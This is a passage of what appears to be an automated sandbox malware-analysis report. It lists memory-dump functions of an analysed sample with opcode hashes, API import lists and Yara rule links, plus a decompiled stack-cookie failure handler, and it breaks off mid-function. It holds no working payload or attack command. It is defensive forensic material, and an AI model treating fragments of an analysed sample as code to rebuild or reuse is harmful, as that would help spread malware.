                                        • Source File: 00000000.00000002.489848680.00000000020FD000.00000040.00000001.sdmp, Offset: 020FD000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 736a2c6170650de95c76200b5d5058c35a3b9157208e2834ebefc2665d5c4c87
                                        • Instruction ID: 50f9badc9f65e9117c4e22dd9970278f03142c7bf90c0277ee288e79ce485950
                                        • Opcode Fuzzy Hash: 736a2c6170650de95c76200b5d5058c35a3b9157208e2834ebefc2665d5c4c87
                                        • Instruction Fuzzy Hash: B3110376404380CFCB42CF04D5C4B16BFB1FB84324F2482A9D9090B616C33AD45ADBA2
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AB370, Relevance: .1, Instructions: 51COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 007efe622076e1adda437f437020723bb56d79b39eacb76f6009434b3a6af57c
                                        • Instruction ID: 504ffb87031e6083a15c372981ebcf6c225528063af5c217aa5bf4e4e07dadde
                                        • Opcode Fuzzy Hash: 007efe622076e1adda437f437020723bb56d79b39eacb76f6009434b3a6af57c
                                        • Instruction Fuzzy Hash: 0001AD30714344DFC354AB75D468B2A7BA7EBC8239F44192DE6038BA40CFB1AC4ACB50
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A1D58, Relevance: .0, Instructions: 45COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: eaf18bc78e784f5a9d03e385838538eefbec9ec7f9beaf6bed203057c6f618bd
                                        • Instruction ID: 634a2cff885a6db0823929f502aa5a723e499d260257317da9717d6b9c2a065b
                                        • Opcode Fuzzy Hash: eaf18bc78e784f5a9d03e385838538eefbec9ec7f9beaf6bed203057c6f618bd
                                        • Instruction Fuzzy Hash: 15012431F001149FCB04AB78D8045AEBBF6EB8C210B0004AADD09E3304DB355D068BD1
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020FD01D, Relevance: .0, Instructions: 45COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489848680.00000000020FD000.00000040.00000001.sdmp, Offset: 020FD000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 2ca120232ef3a5a524300608103db1542720de5e7bd4e280af21987db572d5fa
                                        • Instruction ID: 975f15db782253558d75885faaacb95b390d29889bfd29d8c570a556c412dc5a
                                        • Opcode Fuzzy Hash: 2ca120232ef3a5a524300608103db1542720de5e7bd4e280af21987db572d5fa
                                        • Instruction Fuzzy Hash: C101F7B040C340AAD7614A26CC84B6ABFD8EF41268F08845AEF045BA86C3799945D6B1
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 020FD007, Relevance: .0, Instructions: 44COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489848680.00000000020FD000.00000040.00000001.sdmp, Offset: 020FD000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 68e69c7ff8fac79505e86124065d035b1b5746a91f485a349b2b4b12a7d04084
                                        • Instruction ID: 134ea60f6b6c18568f8d7826f1fe8438811b265fd8e1b8068aaec78106585316
                                        • Opcode Fuzzy Hash: 68e69c7ff8fac79505e86124065d035b1b5746a91f485a349b2b4b12a7d04084
                                        • Instruction Fuzzy Hash: EE014C6140E3C05ED7538B258C94B62BFB4EF43224F1980CBD9848F6A7C2699849D7B2
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A9F8F, Relevance: .0, Instructions: 43COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: b73c6baa2dbd13dcc1cc68e6acb1e7d26e309f6b9b6f1e073ab75352f5608e5c
                                        • Instruction ID: 3c7056d77513997388349d6e9734c532ef73f8add62dc7fcc4626261409cad51
                                        • Opcode Fuzzy Hash: b73c6baa2dbd13dcc1cc68e6acb1e7d26e309f6b9b6f1e073ab75352f5608e5c
                                        • Instruction Fuzzy Hash: A8012630A046169BC714EF34D894B9EF3B5FF80228F004A29D1058BA54DB31A94A87D0
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AAAEE, Relevance: .0, Instructions: 39COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 91b1b57dd2ce8466afd660f1e719bb66e3ddabf0acf3df01fe557ee91e355583
                                        • Instruction ID: 2ba7ff180339c11384eaf660c17e4a6506f20bc7b615f9f3775e518b096dab89
                                        • Opcode Fuzzy Hash: 91b1b57dd2ce8466afd660f1e719bb66e3ddabf0acf3df01fe557ee91e355583
                                        • Instruction Fuzzy Hash: C30186302006028FC750CF2AD544C8AB3B6EF842187068869E905CBB20EBB0FD42CB90
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AAAF0, Relevance: .0, Instructions: 38COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 6ff9f078445b84b02c223ef865bb0f01e3e2b7f56d786035e82dbb55cbea400e
                                        • Instruction ID: b8b7203fe10b15d7fc497125c179d118d23cd26af52955bcf95121bb17f04a14
                                        • Opcode Fuzzy Hash: 6ff9f078445b84b02c223ef865bb0f01e3e2b7f56d786035e82dbb55cbea400e
                                        • Instruction Fuzzy Hash: 490146342046068FC754CF2AD544C9AB7B6EF842147568969E505CBB25EBB0FD42CB90
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A6108, Relevance: .0, Instructions: 36COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 6a92b6c6520b4f51a11c3707927b97e97d3bafc12bb0991262863c93d5acb5da
                                        • Instruction ID: da2be8f394f8beb4fedbcfbf70279847c3df72a247c4ebc9c65ff4599e4e2ac4
                                        • Opcode Fuzzy Hash: 6a92b6c6520b4f51a11c3707927b97e97d3bafc12bb0991262863c93d5acb5da
                                        • Instruction Fuzzy Hash: 1CF0273670D29137D721412D1C55FA65B16C7C6230F3443AAF138DB6D6C94418064354
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A4F68, Relevance: .0, Instructions: 36COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 5329370e198344fb75a687b33157c606dbe67926a18e53917676fd9e25848c28
                                        • Instruction ID: e7c02da50a4aee0bf872eb1c7b715ddf75712aa7a870549d5e1faab4cce07ab8
                                        • Opcode Fuzzy Hash: 5329370e198344fb75a687b33157c606dbe67926a18e53917676fd9e25848c28
                                        • Instruction Fuzzy Hash: CFF02E367092815FD314FB76A8D849BBF57EEC6254385C4EEE20AD3D51CD2868079B10
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022AA060, Relevance: .0, Instructions: 34COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: c2d0b712239701776a592751f65436cec2798951ba8bc802e636d0ef954a9ac0
                                        • Instruction ID: 9905b4b5218bf36079988c3a4e64417302cc956a67ebb5dfc20c9201386ed404
                                        • Opcode Fuzzy Hash: c2d0b712239701776a592751f65436cec2798951ba8bc802e636d0ef954a9ac0
                                        • Instruction Fuzzy Hash: 1EF0E9762057516FC3018F38D450849BB79EF85724309819AE889D7732CB10FE96CBD0
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A64D9, Relevance: .0, Instructions: 33COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 73d3f0a5dfe5c9fb516dfb2109896dc906a593671a142a1239f448119919c53a
                                        • Instruction ID: 76f47319c5f380887a3f50c60edaa442936d51b26b429eeeab84ff281f4fa0e2
                                        • Opcode Fuzzy Hash: 73d3f0a5dfe5c9fb516dfb2109896dc906a593671a142a1239f448119919c53a
                                        • Instruction Fuzzy Hash: 26F0E57120D3951FDB16523AA9244697F7E8EC311830E44FBDA45CBA96FB18DC06C3A2
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A9E60, Relevance: .0, Instructions: 33COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 952cac360d12bb00596733e8000ed2d833938893628a032b6693329e43af5955
                                        • Instruction ID: 0f5d61f25756239239321dbc03ddf9968d6337de7c2431f6e3d18b44470d5ce4
                                        • Opcode Fuzzy Hash: 952cac360d12bb00596733e8000ed2d833938893628a032b6693329e43af5955
                                        • Instruction Fuzzy Hash: A401AF71A00216CFCF54DFAAD8081DEFBF0FF98321B00866AE459E3650D7746A46CB94
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A9E00, Relevance: .0, Instructions: 32COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 68d0bd9a446ef7dfc1dd0afe207c724e5419a7b97da2b2f74df133d3c712e6f3
                                        • Instruction ID: eabfefcd2b25dc5bbc6ff96ce15b95ec4b191a2629dcce9519793cc510d8041f
                                        • Opcode Fuzzy Hash: 68d0bd9a446ef7dfc1dd0afe207c724e5419a7b97da2b2f74df133d3c712e6f3
                                        • Instruction Fuzzy Hash: 9DF0237530D2402BE315777BB854D96BF2AEBC5338714046EE905D3252CE959C076760
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022ABA5D, Relevance: .0, Instructions: 31COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 91bcfce09f7f50a0928d85e7bcd342fdc8e122e35ca83f414b01a1e110d3417e
                                        • Instruction ID: 424ce5a71b7d80ed67a24a96f5102e4a4e22ef6d91c7798820828e8a7d6f79be
                                        • Opcode Fuzzy Hash: 91bcfce09f7f50a0928d85e7bcd342fdc8e122e35ca83f414b01a1e110d3417e
                                        • Instruction Fuzzy Hash: E501F635A25219EFDF00CF90D9A5FEDBB72BF48308F104005E802B76A5CB759A40CB60
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A9E10, Relevance: .0, Instructions: 26COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 44e0d6a9d3c40f0f81fa5fce96c8a971bacdf8d377cbbd3102db4ce16efd0648
                                        • Instruction ID: 7a3de0c0a7e35d7d6162fd95bca58635cf2fdfa529dd362b483dd1c2046a96c1
                                        • Opcode Fuzzy Hash: 44e0d6a9d3c40f0f81fa5fce96c8a971bacdf8d377cbbd3102db4ce16efd0648
                                        • Instruction Fuzzy Hash: 72E0263530824027A31437BBB858D5BBA5FEBC9738B10047DEA09C3740CEA1AC06A7A0
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022ABEA8, Relevance: .0, Instructions: 25COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 3542671b96d87929e2120bbdfee096b116d3aee8f9aab3ab57728516708da559
                                        • Instruction ID: 32126600e557eab6ccdf59893ad70777e67ef6935762b8418bb37cc182befa38
                                        • Opcode Fuzzy Hash: 3542671b96d87929e2120bbdfee096b116d3aee8f9aab3ab57728516708da559
                                        • Instruction Fuzzy Hash: 87F01CB0D042099FCB50DFA8D8426AEFBF4AF48301F10816AD918E7241E7305691CFD5
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A2DC8, Relevance: .0, Instructions: 25COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 23ab2674f5187d15b55b4a1057edfae810e4659ecd8eef3753a3ba69e8ef742d
                                        • Instruction ID: 09c497f662cc1bc8684324e962089b080ed032ff50a052770000cb3f3fde1662
                                        • Opcode Fuzzy Hash: 23ab2674f5187d15b55b4a1057edfae810e4659ecd8eef3753a3ba69e8ef742d
                                        • Instruction Fuzzy Hash: 70E0DF242081400BF305BA1CE1606C62762DB8920CB218069D6419728ACF24FC0F2BC1
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A9DB8, Relevance: .0, Instructions: 21COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 8a57350f608bbee4f071374a9f58a57cada106eb174cc457117de029d0eb90e4
                                        • Instruction ID: 4a82dff7351a80a74d11ab86b8aa9812353903fc489427228b11d05a4e05417d
                                        • Opcode Fuzzy Hash: 8a57350f608bbee4f071374a9f58a57cada106eb174cc457117de029d0eb90e4
                                        • Instruction Fuzzy Hash: C7E068A1D081C00BEB45FB38A4907413B61E749208F048089C8818322BC620E68BA711
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022ABEB8, Relevance: .0, Instructions: 19COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 9d993b65f20e83b088dc01dbb8ed5a671570733ca5959d3daefbce06a75ba95a
                                        • Instruction ID: 63ae0fd96db4473762d2355c0f9ded4438dc5f15260207b8cd84661cd8d55998
                                        • Opcode Fuzzy Hash: 9d993b65f20e83b088dc01dbb8ed5a671570733ca5959d3daefbce06a75ba95a
                                        • Instruction Fuzzy Hash: 83E092B0D1420E9F8B84DFE9D5415BFBFF4AB48300F10816AD918E6240E6745A91CFD1
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A8D83, Relevance: .0, Instructions: 18COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 7dafe58c3bcc72a3deb8ccf2c4d841333faf24981ba28fc5b9d11eb730b0c89a
                                        • Instruction ID: 84d81918c0d08106a1e5c95afc98b20b2c03abcc18058432285c81210160a48c
                                        • Opcode Fuzzy Hash: 7dafe58c3bcc72a3deb8ccf2c4d841333faf24981ba28fc5b9d11eb730b0c89a
                                        • Instruction Fuzzy Hash: A1D02E73A0E3604FA749EFA064600CE7F72EE0112470B80EBD008CBA82EE340A808380
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A0800, Relevance: .0, Instructions: 17COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: f3b73d6c24ee5dbe0544d5dbcea8c587f10a34fedb74616b9593420803656b6e
                                        • Instruction ID: c0da678ac369733241e1f83d5e31281843d6dbf1945bdf05b1949a651bfb0f71
                                        • Opcode Fuzzy Hash: f3b73d6c24ee5dbe0544d5dbcea8c587f10a34fedb74616b9593420803656b6e
                                        • Instruction Fuzzy Hash: E6D0972165022827CB0127706024ADF7BCDC742795F0008F7D505C3BC0CF003E0017C2
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A8D90, Relevance: .0, Instructions: 16COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 9b4b826f9daa94713430cf6b5e7e94906187ed100d705086d06efb7186b627a4
                                        • Instruction ID: 66e8fe226d829b55833a07835c2dd6ac5579e586403c69500a743ddb51fa6a7d
                                        • Opcode Fuzzy Hash: 9b4b826f9daa94713430cf6b5e7e94906187ed100d705086d06efb7186b627a4
                                        • Instruction Fuzzy Hash: 82D012336083286B1B44EEA9A4245DEBBAFCA44574B0244AAD509DB740EE71694046D5
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A2BE8, Relevance: .0, Instructions: 15COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 57b1bdbbda86cc33d1beaa62599cafaf7bab6f7666b41f4d34afb0bcfe03ddae
                                        • Instruction ID: fc0cfdbf6b25a5dd66324188c39531c7b342890cea14c73f3e21d55ab8efd020
                                        • Opcode Fuzzy Hash: 57b1bdbbda86cc33d1beaa62599cafaf7bab6f7666b41f4d34afb0bcfe03ddae
                                        • Instruction Fuzzy Hash: F5C080485442411FF762756C45133C92B229FD510CB47C465C6C0576C3CE09F40F6752
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 022A8D63, Relevance: .0, Instructions: 7COMMON
                                        Download Yara Rule
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.490314065.00000000022A0000.00000040.00000001.sdmp, Offset: 022A0000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID:
                                        • API String ID:
                                        • Opcode ID: 71b76c4da0fca373081a8ebae08819219d5a66cd7c93c61d3f33ced97789cc63
                                        • Instruction ID: 0be813e917c42eaac93be98072606949b97c45c136b73cfbf49cb7fa5cbaddc5
                                        • Opcode Fuzzy Hash: 71b76c4da0fca373081a8ebae08819219d5a66cd7c93c61d3f33ced97789cc63
                                        • Instruction Fuzzy Hash: 00B092D641EAC20EE703632828580E4AF20F8626083CA48CAC041AA9ABE318941BC225
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Non-executed Functions

                                        Function 0040CE09, Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                        Download Yara Rule
                                        C-Code - Quality: 85%
                                        			E0040CE09(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x422234; // 0xc6ef2cbe
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x423b98 = _t6;
				 *0x423b94 = _t22;
				 *0x423b90 = _t25;
				 *0x423b8c = _t21;
				 *0x423b88 = _t27;
				 *0x423b84 = _t26;
				 *0x423bb0 = ss;
				 *0x423ba4 = cs;
				 *0x423b80 = ds;
				 *0x423b7c = es;
				 *0x423b78 = fs;
				 *0x423b74 = gs;
				asm("pushfd");
				_pop( *0x423ba8);
				 *0x423b9c =  *_t31;
				 *0x423ba0 = _v0;
				 *0x423bac =  &_a4;
				 *0x423ae8 = 0x10001;
				_t11 =  *0x423ba0; // 0x0
				 *0x423a9c = _t11;
				 *0x423a90 = 0xc0000409;
				 *0x423a94 = 1;
				_t12 =  *0x422234; // 0xc6ef2cbe
				_v812 = _t12;
				_t13 =  *0x422238; // 0x3910d341
				_v808 = _t13;
				 *0x423ae0 = IsDebuggerPresent();
				_push(1);
				E004138FC(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x41fb80);
				if( *0x423ae0 == 0) {
					_push(1);
					E004138FC(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}



















                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce09
                                        0x0040ce0f
                                        0x0040ce11
                                        0x0040ce11
                                        0x00413644
                                        0x00413649
                                        0x0041364f
                                        0x00413655
                                        0x0041365b
                                        0x00413661
                                        0x00413667
                                        0x0041366e
                                        0x00413675
                                        0x0041367c
                                        0x00413683
                                        0x0041368a
                                        0x00413691
                                        0x00413692
                                        0x0041369b
                                        0x004136a3
                                        0x004136ab
                                        0x004136b6
                                        0x004136c0
                                        0x004136c5
                                        0x004136ca
                                        0x004136d4
                                        0x004136de
                                        0x004136e3
                                        0x004136e9
                                        0x004136ee
                                        0x004136fa
                                        0x004136ff
                                        0x00413701
                                        0x00413709
                                        0x00413714
                                        0x00413721
                                        0x00413723
                                        0x00413725
                                        0x0041372a
                                        0x0041373e

                                        APIs
                                        • IsDebuggerPresent.KERNEL32 ref: 004136F4
                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00413709
                                        • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 00413714
                                        • GetCurrentProcess.KERNEL32(C0000409), ref: 00413730
                                        • TerminateProcess.KERNEL32(00000000), ref: 00413737
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488060183.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true
                                        • Associated: 00000000.00000002.488149595.0000000000426000.00000040.00020000.sdmp Download File
                                        • Associated: 00000000.00000002.488170011.0000000000432000.00000040.00020000.sdmp Download File
                                        Similarity
                                        • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                        • String ID:
                                        • API String ID: 2579439406-0
                                        • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                        • Instruction ID: 93bf0ba95bc2a0faef8203f21c221f33afe887fd41373e09ae0fa508b254143b
                                        • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                        • Instruction Fuzzy Hash: A521C3B4601204EFD720DF65E94A6457FB4FB08356F80407AE50887772E7B86682CF4D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00433B40, Relevance: 7.6, APIs: 5, Instructions: 58fileregistryCOMMON
                                        Download Yara Rule
                                        APIs
                                        • MapViewOfFile.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00459050), ref: 00433B72
                                        • RaiseException.KERNEL32(00000000,00000000,00000000,00000000,?,00459050), ref: 00433B80
                                        • LCMapStringA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,00459050), ref: 00433BA5
                                        • GetLocaleInfoW.KERNEL32(00000000,00000000,00000000,00000000,?,00459050), ref: 00433BB3
                                        • RegCreateKeyW.ADVAPI32(00000000,00000000,?), ref: 00433BBE
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.488187064.0000000000433000.00000020.00020000.sdmp, Offset: 00433000, based on PE: false
                                        Similarity
                                        • API ID: CreateExceptionFileInfoLocaleRaiseStringView
                                        • String ID:
                                        • API String ID: 3017374384-0
                                        • Opcode ID: 746bb86ab3acbb6732d3b0e6f82469f34f1d0a698df7b5ada26ceed154835c47
                                        • Instruction ID: 87bcded9d6bb09c714db9b3ae4851a8aead3dd2cb9ea28861c08d25af56b70b1
                                        • Opcode Fuzzy Hash: 746bb86ab3acbb6732d3b0e6f82469f34f1d0a698df7b5ada26ceed154835c47
                                        • Instruction Fuzzy Hash: 7D11AD71784300A6E3706F18DD07F5AB6A4AB88F13F510429F759AE1D2CAB8A940C75D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208D059, Relevance: 7.6, APIs: 5, Instructions: 58COMMON
                                        Download Yara Rule
                                        APIs
                                        • IsDebuggerPresent.KERNEL32 ref: 02093944
                                        • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 02093959
                                        • UnhandledExceptionFilter.KERNEL32(0041FB80), ref: 02093964
                                        • GetCurrentProcess.KERNEL32(C0000409), ref: 02093980
                                        • TerminateProcess.KERNEL32(00000000), ref: 02093987
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                        • String ID:
                                        • API String ID: 2579439406-0
                                        • Opcode ID: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                        • Instruction ID: d6c0e7b0235013a1aeb1f7b28b8daeffde9fe98e41099a3122545c35eadfd41c
                                        • Opcode Fuzzy Hash: 8d1f5aed7c5dfd20079dd4d946f02ab3c4db913f1b194ab0176bc05653236347
                                        • Instruction Fuzzy Hash: AE21D478A01304EFDB20DF65E9497457FB0FB08756F804079E50987662E7B8A682DF4D
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 02088EB0, Relevance: 4.1, Strings: 3, Instructions: 377COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: @$@$PA
                                        • API String ID: 0-3039612711
                                        • Opcode ID: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                        • Instruction ID: 1fe12273fd1899505411f7400a43ca10921f0c1286a352fbe5bcc73797f4b856
                                        • Opcode Fuzzy Hash: 524773d1bc2011db47f0014430bcd25baf081f96639b8f8b2c6f9a821cea509b
                                        • Instruction Fuzzy Hash: C4E177316083598FC765EF28C08466BB7E1FF88314F50892EE8C987351E775E989DB82
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 0208092B, Relevance: 3.8, Strings: 3, Instructions: 90COMMON
                                        Download Yara Rule
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000000.00000002.489651781.0000000002080000.00000040.00000001.sdmp, Offset: 02080000, based on PE: false
                                        Similarity
                                        • API ID:
                                        • String ID: .$GetProcAddress.$l
                                        • API String ID: 0-2784972518
                                        • Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                        • Instruction ID: 761247b40084aa777b878560d26c120f0ea522af0afc58718300f8bafaa69f72
                                        • Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
                                        • Instruction Fuzzy Hash: F5313BB6910709DFDB11DF99C880AAEBBF6FF48324F15405AD881A7310D771EA49CBA4
                                        Uniqueness

                                        Uniqueness Score: -1.00%

                                        Function 00408C60, Relevance: 2.9, Strings: 2, Instructions: 377COMMONCrypto
                                        Download Yara Rule
                                        C-Code - Quality: 100%
                                        			E00408C60(signed int _a4, intOrPtr _a8, signed int _a12, intOrPtr* _a16, signed int* _a20, signed short* _a24) {
				short _v30;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				intOrPtr _v88;
				intOrPtr _v92;
				signed int _v96;
				signed int _v100;
				signed short* _v104;
				intOrPtr _v108;
